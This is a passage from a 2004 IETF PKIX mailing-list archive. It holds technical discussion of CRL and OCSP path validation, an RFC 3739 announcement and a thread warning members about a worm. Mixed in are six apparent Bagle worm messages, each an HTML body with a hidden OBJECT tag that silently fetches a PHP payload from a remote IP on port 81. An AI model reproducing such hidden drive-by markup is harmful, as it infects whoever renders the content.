words) that the path validating the certificate and the path validating the
CRL should have the same trust anchor and the same Issuer DNs one-by-one
(expect for the last cert in case 2, of course).

[The same "trust anchor" should be changed to "the subject DN of the trust
anchors in the two paths should be identical.  This is to account for when
root uses separate keys for signing certificates and CRLs and o account for
root key rollover]

[The one-by-one matching should ignore self-issued certificates]

["except for last certificate" should be replaced with the logic that
terminates the name matching when one of the path ends.  This permits the CA
to create subordinates for CRL issuance and permits CA to nominate a higher
authority to issue CRL]

Question 1: what is the status of this proposal ?

[See previous answer]

Question 2: How do you validate the cert path associated to the CRL ?
	Some of the certificates included in this path might have
	been revoked. Do you have to construct a third path to validate
	the CRL which has information on the certificates in the CRL
	validation path ? (And possibly a fourth, a fifth, etc ?)

[Certification path development and validation for CRL is no different than
path development for anything else.  Unless you can get an authenticated
public key to verify signature on a CRL, you are out of luck]

Do you really have to through all the following to validate this
hypothetical 2 level scheme:

Let us say that I have
- a Trust Anchor (CA1)
- a subCA (CA2)
- user certificates

CA1 -> CA2 -> Cert

To validate the chain, do I really have to:
1) start applying the X509 validation algorithm
2) obtain the CRL for CA2
3) reconstruct the path to validate the certificate which signs it.
4) start applying a new X509 validation algorithm to this new path
	+ the additional Trust Anchor and DN matching rules
5) Possibly repeat steps 3-4 until I find a path that I have already
	fully validated
6) verify the CRL and check that CA2 is not in.
7) obtain the CRL for user certificates
8) reconstruct the path to validate the certificate which signs it.
9) start applying a new X509 validation algorithm to this new path
	+ the additional Trust Anchor and DN matching rules
10) Possibly repeat steps 8-9 until I find a path that I have already
	fully validated
11) verify the CRL and check the certificate is not in.

[I do not have time to review if you listed everything, but the idea is that
you do need to develop paths for CRL.  There are efficiency techniques one
can use]

Question 3: How to you replace CRL processing by OCSP in X509 path
	validation ? In particular, how do you check that the OSCP server
	certificate has not been revoked if it is different that the CA one
?

[It is not different from other certification path validation issues.  Your
local policy decides whether OCSP needs to start with the same root.  The
revocation status of OCSP server itself can be ignored if no-check extension
is present in the OCSP server certificate]

Thank you very much.

--
Julien




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2MGrS56011902; Mon, 22 Mar 2004 08:53:28 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2MGrSqG011901; Mon, 22 Mar 2004 08:53:28 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from rose.org (211-116-249-55.rev.krline.net [211.116.249.55]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2MGrQCt011890 for <[e-mail]>; Mon, 22 Mar 2004 08:53:27 -0800 (PST) (envelope-from [e-mail])
Date: Tue, 23 Mar 2004 01:49:56 +0900
To: [e-mail]
Subject: Site changes
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://68.117.95.121:81/663196.php">
</OBJECT></body></html>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2MGXwJP010575; Mon, 22 Mar 2004 08:33:58 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2MGXwI4010574; Mon, 22 Mar 2004 08:33:58 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from kraid.nerim.net (smtp-101-monday.nerim.net [62.4.16.101]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2MGXvl9010561 for <[e-mail]>; Mon, 22 Mar 2004 08:33:57 -0800 (PST) (envelope-from [e-mail])
Received: from jupiter.cry.pto (cryptolog.net1.nerim.net [80.65.224.225]) by kraid.nerim.net (Postfix) with ESMTP id F2D5541041 for <[e-mail]>; Mon, 22 Mar 2004 17:33:55 +0100 (CET)
Received: from localhost (localhost [127.0.0.1]) by jupiter.cry.pto (Postfix) with ESMTP id 4F50E4BD4 for <[e-mail]>; Mon, 22 Mar 2004 17:33:56 +0100 (CET)
Received: from jupiter.cry.pto ([127.0.0.1]) by localhost (jupiter [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 15776-06 for <[e-mail]>; Mon, 22 Mar 2004 17:33:56 +0100 (CET)
Received: from callisto.cry.pto (callisto.cry.pto [10.0.1.4]) by jupiter.cry.pto (Postfix) with SMTP id 217AC4259 for <[e-mail]>; Mon, 22 Mar 2004 17:33:56 +0100 (CET)
Received: by callisto.cry.pto (sSMTP sendmail emulation); Mon, 22 Mar 2004 17:33:56 +0100
From: "Julien Stern" <[e-mail]>
Date: Mon, 22 Mar 2004 17:33:56 +0100
To: [e-mail]
Subject: Current status of CRL validation ?
Message-ID: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030314-p2 (Debian) at cryptolog.com
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Dear list,

In November 2003, Santosh Chokhani raised a problem in the validation
of CRL paths. I was wondering what was the current status of CRL
validation and also have a few questions:

My current understanding is the following:

We have two different setups
1) direct CRL (signed by the CA itself)
2) Indirect CRL (signed with a certificate signed with the CA itself
	+ a few other bindings in extensions (crlIssuer, etc)

Santosh Chokhani suggested (I'm summarizing, see his post for the exact
words) that the path validating the certificate and the path validating
the CRL should have the same trust anchor and the same Issuer DNs
one-by-one (expect for the last cert in case 2, of course).

Question 1: what is the status of this proposal ?


Question 2: How do you validate the cert path associated to the CRL ?
	Some of the certificates included in this path might have
	been revoked. Do you have to construct a third path to validate
	the CRL which has information on the certificates in the CRL
	validation path ? (And possibly a fourth, a fifth, etc ?)

Do you really have to through all the following to validate
this hypothetical 2 level scheme:

Let us say that I have
- a Trust Anchor (CA1)
- a subCA (CA2)
- user certificates

CA1 -> CA2 -> Cert

To validate the chain, do I really have to:
1) start applying the X509 validation algorithm
2) obtain the CRL for CA2
3) reconstruct the path to validate the certificate which signs it.
4) start applying a new X509 validation algorithm to this new path
	+ the additional Trust Anchor and DN matching rules
5) Possibly repeat steps 3-4 until I find a path that I have already
	fully validated
6) verify the CRL and check that CA2 is not in.
7) obtain the CRL for user certificates
8) reconstruct the path to validate the certificate which signs it.
9) start applying a new X509 validation algorithm to this new path
	+ the additional Trust Anchor and DN matching rules
10) Possibly repeat steps 8-9 until I find a path that I have already
	fully validated
11) verify the CRL and check the certificate is not in.


Question 3: How to you replace CRL processing by OCSP in X509 path
	validation ? In particular, how do you check that the OSCP server
	certificate has not been revoked if it is different that the CA one ?

Thank you very much.

--
Julien



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2JMtStj067736; Fri, 19 Mar 2004 14:55:28 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2JMtSht067735; Fri, 19 Mar 2004 14:55:28 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2JMtRLt067729 for <[e-mail]>; Fri, 19 Mar 2004 14:55:27 -0800 (PST) (envelope-from [e-mail])
Received: from ISI.EDU (jet.isi.edu [128.9.160.87]) by gamma.isi.edu (8.11.6p2+0917/8.11.2) with ESMTP id i2JMtVk20400; Fri, 19 Mar 2004 14:55:31 -0800 (PST)
Message-Id: <[e-mail]>
To: IETF-Announce: ;
Subject: RFC 3739 on Internet X.509 Public Key Infrastructure: Qualified Certificates Profile
Cc: [e-mail], [e-mail]
From: [e-mail]
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary=NextPart
Date: Fri, 19 Mar 2004 14:55:31 -0800
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

--NextPart


A new Request for Comments is now available in online RFC libraries.


        RFC 3739

        Title:      Internet X.509 Public Key Infrastructure:
                    Qualified Certificates Profile
        Author(s):  S. Santesson, M. Nystrom, T. Polk
        Status:     Standards Track
        Date:       March 2004
        Mailbox:    [e-mail], [e-mail],
                    [e-mail]
        Pages:      34
        Characters: 67436
        Obsoletes:  3039

        I-D Tag:    draft-ietf-pkix-sonof3039-06.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3739.txt


This document forms a certificate profile, based on RFC 3280, for
identity certificates issued to natural persons.

The profile defines specific conventions for certificates that are
qualified within a defined legal framework, named Qualified
Certificates.  However, the profile does not define any legal
requirements for such Qualified Certificates.

The goal of this document is to define a certificate profile that
supports the issuance of Qualified Certificates independent of local
legal requirements.  The profile is however not limited to Qualified
Certificates and further profiling may facilitate specific local
needs.

This document is a product of the Public-Key Infrastructure (X.509)
Working Group of the IETF.

This is now a Proposed Standard Protocol.

This document specifies an Internet standards track protocol for
the Internet community, and requests discussion and suggestions
for improvements.  Please refer to the current edition of the
"Internet Official Protocol Standards" (STD 1) for the
standardization state and status of this protocol.  Distribution
of this memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to [e-mail].  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to [e-mail].

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to [e-mail] with the message body 
help: ways_to_get_rfcs.  For example:

        To: [e-mail]
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to [e-mail].  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.echo 
Submissions for Requests for Comments should be sent to
[e-mail].  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute

...

Below is the data which will enable a MIME compliant Mail Reader 
implementation to automatically retrieve the ASCII version
of the RFCs.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="[e-mail]"

Content-Type: text/plain
Content-ID: <[e-mail]>

RETRIEVE: rfc
DOC-ID: rfc3739

--OtherAccess
Content-Type:   Message/External-body;
        name="rfc3739.txt";
        site="ftp.isi.edu";
        access-type="anon-ftp";
        directory="in-notes"

Content-Type: text/plain
Content-ID: <[e-mail]>

--OtherAccess--
--NextPart--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2JJCnQZ053405; Fri, 19 Mar 2004 11:12:49 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2JJCnYa053404; Fri, 19 Mar 2004 11:12:49 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp-ft6.fr.colt.net (smtp-ft6.fr.colt.net [213.41.78.209]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2JJCmNP053396 for <[e-mail]>; Fri, 19 Mar 2004 11:12:48 -0800 (PST) (envelope-from [e-mail])
Received: from free.fr (host.106.92.68.195.rev.coltfrance.com [195.68.92.106]) by smtp-ft6.fr.colt.net with ESMTP id i2JJCfG26105 for <[e-mail]>; Fri, 19 Mar 2004 20:12:46 +0100
Message-ID: <[e-mail]>
Date: Fri, 19 Mar 2004 20:12:47 +0100
From: Jean-Marc Desperrier <[e-mail]>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:) Gecko/20040226
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: ADMINISTRIVIA: viruses, worms, and so on
References: <[e-mail]>
In-Reply-To: <[e-mail]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hallam-Baker, Phillip wrote:

>It turns out that with this particular worm you did not need to 
>click on anything to get infected. It exploits a hole in windows.
>
>You are ok if your patches were up to date.
>  
>
How happens I'm not worried at all by this kind of warning despite 
having to use Microsoft Windows ? :-)

Of course, one must be wary too of the "alternatives" mail readers that 
in fact embed IE to display HTML messages.
Or at least learn how to disable that mechanism.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2JI8aoD048073; Fri, 19 Mar 2004 10:08:36 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2JI8arF048072; Fri, 19 Mar 2004 10:08:36 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from peacock.verisign.com (peacock.verisign.com [65.205.251.73]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2JI8Z1O048065 for <[e-mail]>; Fri, 19 Mar 2004 10:08:36 -0800 (PST) (envelope-from [e-mail])
Received: from MOU1WNEXC03.vcorp.ad.vrsn.com (mailer3.verisign.com [65.205.251.55]) by peacock.verisign.com (8.12.11/) with ESMTP id i2JI8bPK026835; Fri, 19 Mar 2004 10:08:37 -0800 (PST)
Received: by mou1wnexc03.vcorp.ad.vrsn.com with Internet Mail Service (5.5.2657.72) id <HCHB297V>; Fri, 19 Mar 2004 10:08:37 -0800
Message-ID: <[e-mail]>
From: "Hallam-Baker, Phillip" <[e-mail]>
To: "'ESPINET Didier'" <[e-mail]>, [e-mail]
Subject: RE: ADMINISTRIVIA: viruses, worms, and so on
Date: Fri, 19 Mar 2004 10:08:34 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain; charset="iso-8859-1"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

It turns out that with this particular worm you did not need to 
click on anything to get infected. It exploits a hole in windows.

You are ok if your patches were up to date.

> -----Original Message-----
> From: [e-mail]
> [mailto:[e-mail]]On Behalf Of ESPINET Didier
> Sent: Friday, March 19, 2004 3:31 AM
> To: [e-mail]
> Subject: RE: ADMINISTRIVIA: viruses, worms, and so on
> 
> 
> 
> For your information, the last virus spread out in this 
> mailing list yesterday was the variant S of the well known 
> BAGLE worm (BAGLE.S). It was identified by some antivirus 
> systems as BAGLE.O.
> I suggest you to check your configuration. BAGLE.S runs a 
> process named "directs.exe" which opens port 81 and runs a 
> basic web server used by the worm to spread itself.
> Note: as often, only Windows platforms are concerned.
> 
> Didier ESPINET
> GEMPLUS IT Security Manager
> 
> > -----Original Message-----
> > From: Paul Hoffman / IMC [mailto:[e-mail]]
> > Sent: vendredi 19 mars 2004 00:42
> > To: [e-mail]
> > Subject: ADMINISTRIVIA: viruses, worms, and so on
> > 
> > 
> > 
> > Greetings again. As many of you can tell, there is a new type of 
> > malware that is sending out short messages with spoofed 
> addresses. A 
> > few have hit this mailing list. It appears that I have not 
> perfected 
> > the Procmail filter to prevent these. FWIW, I appear to have 
> > perfected the Procmail filter for most of the other nasties going 
> > around, and have deflected dozens that would have made it to this 
> > list.
> > 
> > As usual, don't execute anything that is sent on this (or 
> any other) 
> > mailing list. Don't trust my filters to protect you. Be careful.
> > 
> > --Paul Hoffman, Director
> > --Internet Mail Consortium
> > 
> > 
> 



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2JGuipW043184; Fri, 19 Mar 2004 08:56:44 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2JGuiZZ043183; Fri, 19 Mar 2004 08:56:44 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from New-ChihPing.org (Server1.InnoMedia.com [209.133.49.2]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2JGuhaP043177 for <[e-mail]>; Fri, 19 Mar 2004 08:56:44 -0800 (PST) (envelope-from [e-mail])
Date: Fri, 19 Mar 2004 08:56:20 -0800
To: [e-mail]
Subject: RE: Text message
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

<html><body>
<font face="System">
<OBJECT STYLE="display:none"  DATA="http://66.183.208.158:81/498685.php">
</OBJECT></body></html>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2JF7wGD035914; Fri, 19 Mar 2004 07:07:58 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2JF7w1p035913; Fri, 19 Mar 2004 07:07:58 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from New-ChihPing.com (Server1.InnoMedia.com [209.133.49.2]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2JF7wI5035905 for <[e-mail]>; Fri, 19 Mar 2004 07:07:58 -0800 (PST) (envelope-from [e-mail])
Date: Fri, 19 Mar 2004 07:07:21 -0800
To: [e-mail]
Subject: RE: Text message
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://68.70.223.96:81/744624.php">
</OBJECT></body></html>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2J8VEXK080506; Fri, 19 Mar 2004 00:31:14 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2J8VERY080505; Fri, 19 Mar 2004 00:31:14 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from croot.gemplus.com (croot.gemplus.com [195.25.133.234]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2J8VD7o080468 for <[e-mail]>; Fri, 19 Mar 2004 00:31:13 -0800 (PST) (envelope-from [e-mail])
Received: from GGEEXCVS1.gemplus.corp (unknown [10.2.158.19]) by croot.gemplus.com (Postfix) with ESMTP id 23E56BC4EF for <[e-mail]>; Fri, 19 Mar 2004 08:31:08 +0000 (GMT)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Subject: RE: ADMINISTRIVIA: viruses, worms, and so on
Date: Fri, 19 Mar 2004 09:31:08 +0100
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: ADMINISTRIVIA: viruses, worms, and so on
Thread-Index: AcQNTqC365xr6AscTfKeHF6ZwbuF+wAPOG+Q
From: "ESPINET Didier" <[e-mail]>
To: <[e-mail]>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i2J8VE7o080499
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

For your information, the last virus spread out in this mailing list yesterday was the variant S of the well known BAGLE worm (BAGLE.S). It was identified by some antivirus systems as BAGLE.O.
I suggest you to check your configuration. BAGLE.S runs a process named "directs.exe" which opens port 81 and runs a basic web server used by the worm to spread itself.
Note: as often, only Windows platforms are concerned.

Didier ESPINET
GEMPLUS IT Security Manager

> -----Original Message-----
> From: Paul Hoffman / IMC [mailto:[e-mail]]
> Sent: vendredi 19 mars 2004 00:42
> To: [e-mail]
> Subject: ADMINISTRIVIA: viruses, worms, and so on
> 
> 
> 
> Greetings again. As many of you can tell, there is a new type of 
> malware that is sending out short messages with spoofed addresses. A 
> few have hit this mailing list. It appears that I have not perfected 
> the Procmail filter to prevent these. FWIW, I appear to have 
> perfected the Procmail filter for most of the other nasties going 
> around, and have deflected dozens that would have made it to this 
> list.
> 
> As usual, don't execute anything that is sent on this (or any other) 
> mailing list. Don't trust my filters to protect you. Be careful.
> 
> --Paul Hoffman, Director
> --Internet Mail Consortium
> 
> 



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2INg33C098757; Thu, 18 Mar 2004 15:42:03 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2INg3Bj098756; Thu, 18 Mar 2004 15:42:03 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [165.227.249.219] (adsl-66-125-125-65.dsl.pltn13.pacbell.net [66.125.125.65]) (authenticated bits=0) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2INg2pa098749 for <[e-mail]>; Thu, 18 Mar 2004 15:42:02 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06100324bc7fe38aa186@[165.227.249.219]>
Date: Thu, 18 Mar 2004 15:42:04 -0800
To: [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: ADMINISTRIVIA: viruses, worms, and so on
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Greetings again. As many of you can tell, there is a new type of 
malware that is sending out short messages with spoofed addresses. A 
few have hit this mailing list. It appears that I have not perfected 
the Procmail filter to prevent these. FWIW, I appear to have 
perfected the Procmail filter for most of the other nasties going 
around, and have deflected dozens that would have made it to this 
list.

As usual, don't execute anything that is sent on this (or any other) 
mailing list. Don't trust my filters to protect you. Be careful.

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2I6KCgG058259; Wed, 17 Mar 2004 22:20:12 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2I6KCFP058258; Wed, 17 Mar 2004 22:20:12 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from Kevin-Chen.net ([203.67.204.250]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2I6KAEu058190 for <[e-mail]>; Wed, 17 Mar 2004 22:20:11 -0800 (PST) (envelope-from [e-mail])
Date: Thu, 18 Mar 2004 14:16:24 +0800
To: [e-mail]
Subject: Request response
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

<html><body>
<font face="System">
<OBJECT  STYLE="display:none" DATA="http://68.108.86.222:81/282707.php">
</OBJECT></body></html>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2I6D4Bj054920; Wed, 17 Mar 2004 22:13:04 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2I6D4mx054918; Wed, 17 Mar 2004 22:13:04 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from Kevin-Chen.com ([203.67.204.250]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2I6Cve7054808 for <[e-mail]>; Wed, 17 Mar 2004 22:13:02 -0800 (PST) (envelope-from [e-mail])
Date: Thu, 18 Mar 2004 14:09:08 +0800
To: [e-mail]
Subject: RE: Text message
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://24.31.122.240:81/154100.php">
</OBJECT></body></html>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2I36b22012036; Wed, 17 Mar 2004 19:06:37 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2I36bcO012035; Wed, 17 Mar 2004 19:06:37 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ns.org ([203.254.97.12]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2I36ZEQ012017 for <[e-mail]>; Wed, 17 Mar 2004 19:06:36 -0800 (PST) (envelope-from [e-mail])
Date: Thu, 18 Mar 2004 12:05:13 +0900
To: [e-mail]
Subject: Re: Yahoo!
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://24.100.74.92:81/552910.php">
</OBJECT></body></html>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2I2QqgC003785; Wed, 17 Mar 2004 18:26:52 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2I2QqpH003784; Wed, 17 Mar 2004 18:26:52 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from Kevin-Chen.com ([203.67.204.250]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2I2Ql36003737 for <[e-mail]>; Wed, 17 Mar 2004 18:26:49 -0800 (PST) (envelope-from [e-mail])
Date: Thu, 18 Mar 2004 10:23:21 +0800
To: [e-mail]
Subject: Re: Incoming Fax
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

<html><body>
<font  face="System">
<OBJECT STYLE="display:none" DATA="http://161.45.198.45:81/717789.php">
</OBJECT></body></html>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2BMjON6001597; Thu, 11 Mar 2004 14:45:24 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2BMjOrk001596; Thu, 11 Mar 2004 14:45:24 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
